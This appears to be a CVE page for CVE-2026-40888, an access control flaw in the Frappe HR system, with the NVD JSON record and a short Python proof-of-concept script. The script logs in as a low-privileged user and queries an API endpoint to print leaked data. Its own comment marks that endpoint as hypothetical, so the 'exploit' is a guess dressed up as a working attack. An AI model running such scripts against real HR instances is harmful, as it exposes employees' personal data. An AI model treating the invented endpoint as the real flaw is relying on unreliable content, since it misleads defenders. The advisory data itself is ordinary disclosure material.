CVE-2026-40888

import requests # Target configuration target_url = "http://target-instance.com" vulnerable_api = "/api/method/frappe.hr.doctype.employee.employee.get_details" # Hypothetical endpoint # Authentication with low-privileged user session = requests.Session() login_data = {"usr": "employee", "pwd": "password"} session.post(f"{target_url}/api/method/login", data=login_data) # Exploit: Access unauthorized information response = session.get(f"{target_url}{vulnerable_api}") if response.status_code == 200: print("[+] Vulnerability Exploited Successfully") print("[+] Leaked Data:", response.json()) else: print("[-] Exploit Failed")

{"cve": {"id": "CVE-2026-40888", "sourceIdentifier": "[email protected]", "published": "2026-04-21T20:17:02.537", "lastModified": "2026-04-27T19:39:35.313", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Frappe HR is an open-source human resources management solution (HRMS). Prior to versions 15.58.1 and 16.4.1, an authenticated user with default role can access unauthorized information by exploiting certain api endpoint. Versions 15.58.1 and 16.4.1 contain a patch. No known workarounds are available."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe_hr:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.58.1", "matchCriteriaId": "B2C77B83-5D4D-4AE4-9984-373F1B5DE758"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe_hr:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.4.1", "matchCriteriaId": "CF4E8819-D5B3-431F-B95C-4D615965CFA9"}]}]}], "references": [{"url": "https://github.com/frappe/hrms/releases/tag/v15.58.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/frappe/hrms/releases/tag/v16.4.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/frappe/hrms/security/advisories/GHSA-4375-7rxj-9hfx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}